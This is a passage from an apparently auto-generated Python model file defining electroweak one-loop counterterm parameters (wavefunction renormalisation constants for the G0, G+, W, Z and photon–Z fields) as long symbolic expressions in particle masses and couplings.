cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/(-4*MW**2*MZ**2 + MZ**4) + (4*(-2*MW**2 + MZ**2)*(MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/(-4*MW**2*MZ**2 + MZ**4) + ((cw**2*(MH**6 - 3*MH**4*MZ**2) + MW**2*(-2*MH**4 + 7*MH**2*MZ**2 - 5*MZ**4))*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((MH**2 - 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/(cw**2*MW**2*MZ**4*(MH**2 - 4*MZ**2)) - ((cw**2*(MH**6 - 3*MH**4*MZ**2) + MW**2*(-2*MH**4 + 7*MH**2*MZ**2 - 5*MZ**4))*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/(cw**2*MW**2*MZ**4*(MH**2 - 4*MZ**2))))/(128.*cmath.pi**2*sw**2))'+'+'+dMB_G0Wcft_UV_EW.value[0]},
texname = '\delta Z_{G0}^{EW}')
GpWcft_UV_EW = CTParameter(name = 'GpWcft_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WW != 0,(ee**2*(cw**4*MW**2 + MW**2*sw**4 + cw**2*(-(MT**2*Ncol) + 2*MW**2*(1 + sw**2))))/(32.*cw**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_GpWcft_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and WW != 0,-(ee**2*(cw**4*MW**2 + MW**2*sw**4 + cw**2*(-(MT**2*Ncol) + 2*MW**2*(1 + sw**2)))*reglog(4*cmath.pi))/(32.*cw**2*MW**2*cmath.pi**2*sw**2) + (ee**2*((2*MW**2*(2*cw**3*MW**3*MZ - 2*cw*MW**3*MZ*sw**2 + cw**4*MW**2*(MZ**2 + MW**2*(reglog(16) + 2*reglog(cmath.pi))) + MW**2*sw**4*(MZ**2 + MW**2*(16 + reglog(16) + 2*reglog(cmath.pi))) + cw**2*(MH**4 - 2*MH**2*MW**2 - 2*MT**4*Ncol - MW**2*(2*MZ**2*(1 + sw**2) + MT**2*Ncol*(2 + reglog(16) + 2*reglog(cmath.pi))) + MW**4*(6 + reglog(256) + 4*reglog(cmath.pi) + sw**2*(12 + reglog(256) + 4*reglog(cmath.pi))))))/cw**2 - (2*MW**2*(MH**2 - 2*MW**2)*(MH**4 - 2*MH**2*MW**2 - MW**4)*reglog(MU_R**2/MH**2))/(MH**2 - 4*MW**2) - 4*MT**2*MW**4*Ncol*reglog(MU_R**2/MT**2) - (2*MW**4*(2*cw**3*MW**3*(MH**2 - 4*MW**2)*MZ + cw**4*MW**2*(-MH**2 + 4*MW**2)*(4*MW**2 - MZ**2) + 2*cw*MW**3*(-MH**2 + 4*MW**2)*MZ*sw**2 + MW**2*(MH**2 - 4*MW**2)*(12*MW**2 + MZ**2)*sw**4 + cw**2*(MH**4*(-4*MW**2 + MZ**2) + MH**2*MW**2*(MW**2*(7 - 24*sw**2) + 2*MZ**2*(-2 + 3*sw**2)) + MW**4*(MZ**2*(7 - 24*sw**2) + MW**2*(8 + 96*sw**2))))*reglog(MU_R**2/MW**2))/(cw**2*(MH - 2*MW)*(MH + 2*MW)*(2*MW - MZ)*(2*MW + MZ)) + (2*MW**4*(2*MW**2 - MZ**2)*(-2*cw**3*MW*MZ + cw**4*(4*MW**2 - MZ**2) + 2*cw*MW*MZ*sw**2 - (12*MW**2 + MZ**2)*sw**4 + cw**2*(MW**2*(1 - 8*sw**2) + 2*MZ**2*(1 + sw**2)))*reglog(MU_R**2/MZ**2))/(cw**2*(4*MW**2 - MZ**2)) - 4*MT**2*(MT - MW)*(MT + MW)*(MT**2 + MW**2)*Ncol*reglog((MT**2 - MW**2 + vep*complex(0,-1))/MT**2) + (2*MW**2*(-2*cw**3*MW**3*(MH**2 - 4*MW**2)*(3*MW**2*MZ - MZ**3) + cw**4*MW**2*(MH**2 - 4*MW**2)*(4*MW**4 - 5*MW**2*MZ**2 + MZ**4) + 2*cw*MW**3*(MH**2 - 4*MW**2)*MZ*(3*MW**2 - MZ**2)*sw**2 + MW**2*(-MH**2 + 4*MW**2)*(44*MW**4 - 11*MW**2*MZ**2 - MZ**4)*sw**4 + cw**2*(MH**6*(-4*MW**2 + MZ**2) + 5*MH**4*(4*MW**4 - MW**2*MZ**2) - MH**2*MW**2*(2*MZ**4*(1 + sw**2) - 2*MW**2*MZ**2*(7 + 5*sw**2) + MW**4*(33 + 8*sw**2)) + MW**4*(8*MZ**4*(1 + sw**2) + 8*MW**4*(5 + 4*sw**2) - MW**2*MZ**2*(33 + 40*sw**2))))*reglog((MW**2 + vep*complex(0,-1))/MU_R**2))/(cw**2*(MH - 2*MW)*(MH + 2*MW)*(2*MW - MZ)*(2*MW + MZ)) + (2*MW**4*(cw**3*(-6*MW**3*MZ + 2*MW*MZ**3) + cw**4*(4*MW**4 - 5*MW**2*MZ**2 + MZ**4) + 2*cw*MW*MZ*(3*MW**2 - MZ**2)*sw**2 + (-44*MW**4 + 11*MW**2*MZ**2 + MZ**4)*sw**4 - cw**2*(MW**2 - MZ**2)*(-2*MZ**2*(1 + sw**2) + MW**2*(5 + 8*sw**2)))*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*(4*MW**2 - MZ**2)) + (2*MW**4*(cw**3*(-6*MW**3*MZ + 2*MW*MZ**3) + cw**4*(4*MW**4 - 5*MW**2*MZ**2 + MZ**4) + 2*cw*MW*MZ*(3*MW**2 - MZ**2)*sw**2 + (-44*MW**4 + 11*MW**2*MZ**2 + MZ**4)*sw**4 - cw**2*(MW**2 - MZ**2)*(-2*MZ**2*(1 + sw**2) + MW**2*(5 + 8*sw**2)))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*(4*MW**2 - MZ**2)) - (MW**2*(cw**3*(-6*MW**3*MZ + 2*MW*MZ**3) + cw**4*(4*MW**4 - 5*MW**2*MZ**2 + MZ**4) + 2*cw*MW*MZ*(3*MW**2 - MZ**2)*sw**2 + (-44*MW**4 + 11*MW**2*MZ**2 + MZ**4)*sw**4 - cw**2*(MW**2 - MZ**2)*(-2*MZ**2*(1 + sw**2) + MW**2*(5 + 8*sw**2)))*(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*(4*MW**2 - MZ**2)) - (MW**2*(cw**3*(-6*MW**3*MZ + 2*MW*MZ**3) + cw**4*(4*MW**4 - 5*MW**2*MZ**2 + MZ**4) + 2*cw*MW*MZ*(3*MW**2 - MZ**2)*sw**2 + (-44*MW**4 + 11*MW**2*MZ**2 + MZ**4)*sw**4 - cw**2*(MW**2 - MZ**2)*(-2*MZ**2*(1 + sw**2) + MW**2*(5 + 8*sw**2)))*(2*MW**2 - MZ**2 - cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*(4*MW**2 - MZ**2)) - (2*MW**2*(-MH**6 + 5*MH**4*MW**2 - 7*MH**2*MW**4 + 5*MW**6)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/(-MH**2 + 4*MW**2) - (2*MW**2*(-MH**6 + 5*MH**4*MW**2 - 7*MH**2*MW**4 + 5*MW**6)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/(-MH**2 + 4*MW**2) + ((MH**6 - 5*MH**4*MW**2 + 7*MH**2*MW**4 - 5*MW**6)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((MH**2 - 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/(MH**2 - 4*MW**2) - ((MH**6 - 5*MH**4*MW**2 + 7*MH**2*MW**4 - 5*MW**6)*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/(MH**2 - 4*MW**2)))/(128.*MW**6*cmath.pi**2*sw**2))'+'+'+dMB_GpWcft_UV_EW.value[0]},
texname = '\delta Z_{Gp}^{EW}')
WWcft_UV_EW = CTParameter(name = 'WWcft_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WW != 0,(ee**2*(-7 + 20*cw**2 - 6*Ncol + 8*sw**2))/(96.*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0 and WW != 0, -(ee**2*(-7 + 20*cw**2 - 6*Ncol + 8*sw**2)*reglog(4*cmath.pi))/(96.*cmath.pi**2*sw**2) + (ee**2*((-4*(-18*MW**4*sw**4 + 2*cw**4*(45*MW**2*MZ**2 - 12*MZ**4 + MW**4*(-23 + 30*reglog(cmath.pi) - 60*reglog(2*cmath.pi))) + cw**2*(-3*MH**4 + 9*MH**2*MW**2 - 3*MZ**4 + 6*MT**4*Ncol + 3*MW**2*(3*MZ**2 + MT**2*Ncol) + MW**4*(-1 - 64*sw**2 - 21*reglog(cmath.pi) + 24*sw**2*reglog(cmath.pi) + 6*Ncol*(2 + reglog(64) + 3*reglog(cmath.pi)) + 42*reglog(2*cmath.pi) - 48*sw**2*reglog(2*cmath.pi)))))/(cw**2*MW**4) - (6*(2*MH**6 - 11*MH**4*MW**2 + 24*MH**2*MW**4 - 24*MW**6)*reglog(MU_R**2/MH**2))/(MW**4*(MH**2 - 4*MW**2)) - 24*Ncol*reglog(MU_R**2/MT**2) + (12*(2*cw**4*(MH**2 - 4*MW**2)*(7*MW**4 + 21*MW**2*MZ**2 - 4*MZ**4) + 6*MW**4*(-MH**2 + 4*MW**2)*sw**4 + cw**2*(4*MW**2 - MZ**2)*(MH**4 - 4*MW**2*MZ**2 + MW**4*(10 - 32*sw**2) + MH**2*(MZ**2 + MW**2*(-5 + 8*sw**2))))*reglog(MU_R**2/MW**2))/(cw**2*(MH - 2*MW)*MW**2*(MH + 2*MW)*(2*MW - MZ)*(2*MW + MZ)) + (6*(cw**2*(12*MW**4*MZ**2 - 11*MW**2*MZ**4 + 2*MZ**6) + 4*cw**4*(30*MW**6 + 15*MW**4*MZ**2 - 25*MW**2*MZ**4 + 4*MZ**6) + 12*MW**4*(-2*MW**2 + MZ**2)*sw**4)*reglog(MU_R**2/MZ**2))/(cw**2*MW**4*(4*MW**2 - MZ**2)) + (24*(-MT + MW)*(MT + MW)*(MT**2 - MT*MW + MW**2)*(MT**2 + MT*MW + MW**2)*Ncol*reglog((MT**2 - MW**2 + vep*complex(0,-1))/MT**2))/MW**6 - (6*(4*cw**4*(MH**2 - 4*MW**2)*(3*MW**6 - 46*MW**4*MZ**2 + 29*MW**2*MZ**4 - 4*MZ**6) + cw**2*(4*MW**2 - MZ**2)*(2*MH**6 - 13*MH**4*MW**2 - 4*MW**2*(9*MW**4 - 5*MW**2*MZ**2 + 2*MZ**4) + MH**2*(32*MW**4 - 5*MW**2*MZ**2 + 2*MZ**4)) + 12*MW**4*(MH**2 - 4*MW**2)*(3*MW**2 - MZ**2)*sw**4)*reglog((MW**2 + vep*complex(0,-1))/MU_R**2))/(cw**2*(MH - 2*MW)*MW**4*(MH + 2*MW)*(2*MW - MZ)*(2*MW + MZ)) - (6*(4*cw**4*(3*MW**6 - 46*MW**4*MZ**2 + 29*MW**2*MZ**4 - 4*MZ**6) + cw**2*(-20*MW**4*MZ**2 + 13*MW**2*MZ**4 - 2*MZ**6) + 12*MW**4*(3*MW**2 - MZ**2)*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**4*(4*MW**2 - MZ**2)) - (6*(4*cw**4*(3*MW**6 - 46*MW**4*MZ**2 + 29*MW**2*MZ**4 - 4*MZ**6) + cw**2*(-20*MW**4*MZ**2 + 13*MW**2*MZ**4 - 2*MZ**6) + 12*MW**4*(3*MW**2 - MZ**2)*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**4*(4*MW**2 - MZ**2)) + (3*(4*cw**4*(3*MW**6 - 46*MW**4*MZ**2 + 29*MW**2*MZ**4 - 4*MZ**6) + cw**2*(-20*MW**4*MZ**2 + 13*MW**2*MZ**4 - 2*MZ**6) + 12*MW**4*(3*MW**2 - MZ**2)*sw**4)*(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**6*(4*MW**2 - MZ**2)) - (3*(4*cw**4*(3*MW**6 - 46*MW**4*MZ**2 + 29*MW**2*MZ**4 - 4*MZ**6) + cw**2*(-20*MW**4*MZ**2 + 13*MW**2*MZ**4 - 2*MZ**6) + 12*MW**4*(3*MW**2 - MZ**2)*sw**4)*(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**6*(4*MW**2 - MZ**2)) - (6*(2*MH**6 - 13*MH**4*MW**2 + 32*MH**2*MW**4 - 36*MW**6)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/(MW**4*(MH**2 - 4*MW**2)) - (6*(2*MH**6 - 13*MH**4*MW**2 + 32*MH**2*MW**4 - 36*MW**6)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/(MW**4*(MH**2 - 4*MW**2)) - 24*(3 + 2*Ncol)*reglogp(-(MU_R**2/(MW**2 + vep*complex(0,1)))) + (3*(2*MH**6 - 13*MH**4*MW**2 + 32*MH**2*MW**4 - 36*MW**6)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((MH**2 - 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/(MW**6*(MH**2 - 4*MW**2)) - (3*(2*MH**6 - 13*MH**4*MW**2 + 32*MH**2*MW**4 - 36*MW**6)*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/(MW**6*(MH**2 - 4*MW**2))))/(1152.*cmath.pi**2*sw**2))'+'+'+dMB_WWcft_UV_EW.value[0]},
texname = '\delta Z_{W}^{EW}')
ZZWcft_UV_EW = CTParameter(name = 'ZZWcft_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WZ != 0, (ee**2*(-39 + 117*cw**4 + 72*sw**2 + 6*cw**2*sw**2 - 147*sw**4 - 4*Ncol*(9 - 18*sw**2 + 20*sw**4)))/(576.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0 and WZ != 0,-(ee**2*(-39 + 117*cw**4 + 72*sw**2 + 6*cw**2*sw**2 - 147*sw**4 - 4*Ncol*(9 - 18*sw**2 + 20*sw**4))*reglog(4*cmath.pi))/(576.*cw**2*cmath.pi**2*sw**2) + (ee**2*((-2*(-108*MW**2*MZ**2 - 6*cw**4*MZ**2*sw**2*(12*MW**2 + MZ**2*(5 + reglog(64) + 3*reglog(cmath.pi))) + 9*cw**6*(60*MW**2*MZ**2 + MZ**4*(-41 + 39*reglog(cmath.pi) - 78*reglog(2*cmath.pi))) + cw**2*(-18*MH**4 + 54*MH**2*MZ**2 + MZ**2*(2*(-90*MW**2*sw**4 + MT**2*Ncol*(9 + 48*sw**2 - 64*sw**4)) + MZ**2*(4*Ncol*(9 - 18*sw**2 + 20*sw**4)*(2 + reglog(64) + 3*reglog(cmath.pi)) + 3*(29 - 39*reglog(cmath.pi) - 24*sw**2*(2 + reglog(64) + 3*reglog(cmath.pi)) + 78*reglog(2*cmath.pi) + sw**4*(101 - 147*reglog(cmath.pi) + 294*reglog(2*cmath.pi))))))))/MZ**4 - (18*(12*MW**2*MZ**2*(MH**2 - 2*MZ**2) + cw**2*(2*MH**6 - 11*MH**4*MZ**2 + 12*MH**2*MZ**4))*reglog(MU_R**2/MH**2))/(MZ**4*(MH**2 - 4*MZ**2)) - (8*cw**2*MT**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*reglog(MU_R**2/MT**2))/(4*MT**2*MZ**2 - MZ**4) + (36*cw**2*MW**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*reglog(MU_R**2/MW**2))/(4*MW**2*MZ**2 - MZ**4) + (18*(12*MW**2*MZ**2 + cw**2*(2*MH**4 - 9*MH**2*MZ**2 + 4*MZ**4))*reglog(MU_R**2/MZ**2))/(MZ**2*(MH**2 - 4*MZ**2)) + (2*(-108*MW**2*MZ**2*(MH**2 - 3*MZ**2)*(-4*MT**2 + MZ**2)*(-4*MW**2 + MZ**2) + 27*cw**6*MZ**2*(-4*MT**2 + MZ**2)*(-MH**2 + 4*MZ**2)*(40*MW**4 - 26*MW**2*MZ**2 + 13*MZ**4) - 18*cw**4*MZ**2*(MH**2 - 4*MZ**2)*(-4*MT**2 + MZ**2)*(-8*MW**4 - 2*MW**2*MZ**2 + MZ**4)*sw**2 - cw**2*(MH**2 - 4*MZ**2)*(-18*MH**4*(4*MT**2 - MZ**2)*(-4*MW**2 + MZ**2) - 45*MH**2*MZ**2*(-4*MT**2 + MZ**2)*(-4*MW**2 + MZ**2) + MZ**2*(-360*MW**4*MZ**2*sw**4 + 4*MT**4*(4*MW**2 - MZ**2)*Ncol*(-9 - 48*sw**2 + 64*sw**4) - MZ**6*(9*sw**4 + 2*Ncol*(9 - 24*sw**2 + 32*sw**4)) + 2*MW**2*MZ**4*(9*sw**4 + 4*Ncol*(9 - 24*sw**2 + 32*sw**4)) + 4*MT**2*(360*MW**4*sw**4 + MZ**4*(9*sw**4 + Ncol*(9 - 24*sw**2 + 32*sw**4)) - 2*MW**2*MZ**2*(9*sw**4 + 2*Ncol*(9 - 24*sw**2 + 32*sw**4))))))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/((MH - 2*MZ)*MZ**4*(-2*MT + MZ)*(2*MT + MZ)*(-2*MW + MZ)*(2*MW + MZ)*(MH + 2*MZ)) - (18*(12*MW**2*MZ**2*(MH**2 - 3*MZ**2) + cw**2*(2*MH**6 - 13*MH**4*MZ**2 + 20*MH**2*MZ**4))*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/(MZ**4*(MH**2 - 4*MZ**2)) - (18*(12*MW**2*MZ**2*(MH**2 - 3*MZ**2) + cw**2*(2*MH**6 - 13*MH**4*MZ**2 + 20*MH**2*MZ**4))*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/(MZ**4*(MH**2 - 4*MZ**2)) - 4*cw**2*(54*(1 - 2*sw**2 + 4*sw**4) + Ncol*(45 - 84*sw**2 + 88*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - (4*cw**2*Ncol*(-2*MT**2*MZ**2*(9 - 24*sw**2 + 32*sw**4) + MZ**4*(9 - 24*sw**2 + 32*sw**4) + 2*MT**4*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MT**2*MZ**2 - MZ**4) - (4*cw**2*Ncol*(-2*MT**2*MZ**2*(9 - 24*sw**2 + 32*sw**4) + MZ**4*(9 - 24*sw**2 + 32*sw**4) + 2*MT**4*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MT**2*MZ**2 - MZ**4) + (2*cw**2*Ncol*(-2*MT**2*MZ**2*(9 - 24*sw**2 + 32*sw**4) + MZ**4*(9 - 24*sw**2 + 32*sw**4) + 2*MT**4*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/(4*MT**2*MZ**4 - MZ**6) + (2*cw**2*Ncol*(-2*MT**2*MZ**2*(9 - 24*sw**2 + 32*sw**4) + MZ**4*(9 - 24*sw**2 + 32*sw**4) + 2*MT**4*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/(4*MT**2*MZ**4 - MZ**6) + (18*cw**2*(3*cw**4*(40*MW**4 - 26*MW**2*MZ**2 + 13*MZ**4) - 2*cw**2*(8*MW**4 + 2*MW**2*MZ**2 - MZ**4)*sw**2 - (40*MW**4 - 2*MW**2*MZ**2 + MZ**4)*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MW**2*MZ**2 - MZ**4) + (18*cw**2*(3*cw**4*(40*MW**4 - 26*MW**2*MZ**2 + 13*MZ**4) - 2*cw**2*(8*MW**4 + 2*MW**2*MZ**2 - MZ**4)*sw**2 - (40*MW**4 - 2*MW**2*MZ**2 + MZ**4)*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MW**2*MZ**2 - MZ**4) - (9*cw**2*(3*cw**4*(40*MW**4 - 26*MW**2*MZ**2 + 13*MZ**4) - 2*cw**2*(8*MW**4 + 2*MW**2*MZ**2 - MZ**4)*sw**2 - (40*MW**4 - 2*MW**2*MZ**2 + MZ**4)*sw**4)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/(4*MW**2*MZ**4 - MZ**6) + (9*cw**2*(3*cw**4*(40*MW**4 - 26*MW**2*MZ**2 + 13*MZ**4) - 2*cw**2*(8*MW**4 + 2*MW**2*MZ**2 - MZ**4)*sw**2 - (40*MW**4 - 2*MW**2*MZ**2 + MZ**4)*sw**4)*(-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/(4*MW**2*MZ**4 - MZ**6) + (9*(12*MW**2*MZ**2*(MH**2 - 3*MZ**2) + cw**2*(2*MH**6 - 13*MH**4*MZ**2 + 20*MH**2*MZ**4))*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((MH**2 - 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/(MZ**6*(MH**2 - 4*MZ**2)) - (9*(12*MW**2*MZ**2*(MH**2 - 3*MZ**2) + cw**2*(2*MH**6 - 13*MH**4*MZ**2 + 20*MH**2*MZ**4))*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/(MZ**6*(MH**2 - 4*MZ**2))))/(3456.*cw**4*cmath.pi**2*sw**2))'+'+'+dMB_ZZWcft_UV_EW.value[0]},
texname = '\delta Z_{ZZ}^{EW}')
AZWcft_UV_EW = CTParameter(name = 'AZWcft_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WZ != 0, -(ee**2*(cw**2*(36*MW**2 + 57*MZ**2) + 36*MW**2*sw**2 + MZ**2*(-18 - 18*Ncol + 75*sw**2 + 40*Ncol*sw**2)))/(144.*cw*MZ**2*cmath.pi**2*sw))',
0:'recms(CMSParam==1.0 and WZ != 0,(ee**2*(cw**2*(36*MW**2 + 57*MZ**2) + 36*MW**2*sw**2 + MZ**2*(-18 - 18*Ncol + 75*sw**2 + 40*Ncol*sw**2))*reglog(4*cmath.pi))/(144.*cw*MZ**2*cmath.pi**2*sw) + (ee**2*((2*(4*(-4*MT**2*Ncol*(-3 + 8*sw**2) + 9*MW**2*sw**2*(-4 - reglog(64) - 3*reglog(cmath.pi))) + MZ**2*(-2*Ncol*(-9 + 20*sw**2)*(5 + reglog(64) + 3*reglog(cmath.pi)) + 3*(6*(5 + reglog(64) + 3*reglog(cmath.pi)) + sw**2*(-128 + 75*reglog(cmath.pi) - 150*reglog(2*cmath.pi)))) + 3*cw**2*(12*MW**2*(-16 - reglog(64) - 3*reglog(cmath.pi)) + MZ**2*(-116 + 57*reglog(cmath.pi) - 114*reglog(2*cmath.pi)))))/MZ**2 + (16*MT**2*Ncol*(-3 + 8*sw**2)*reglog(MU_R**2/MT**2))/MZ**2 + (72*MW**2*(5*cw**2 - sw**2)*reglog(MU_R**2/MW**2))/MZ**2 + (2*(9*cw**2*(32*MW**2 + 19*MZ**2) - 12*MZ**2*Ncol + 72*MW**2*sw**2 + 9*MZ**2*sw**2 + 32*MZ**2*Ncol*sw**2 + 8*MT**2*Ncol*(-3 + 8*sw**2))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/MZ**2 - 4*(-27 - 21*Ncol + 108*sw**2 + 44*Ncol*sw**2)*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) + (8*(2*MT**2 + MZ**2)*Ncol*(-3 + 8*sw**2)*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 + (8*(2*MT**2 + MZ**2)*Ncol*(-3 + 8*sw**2)*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 - 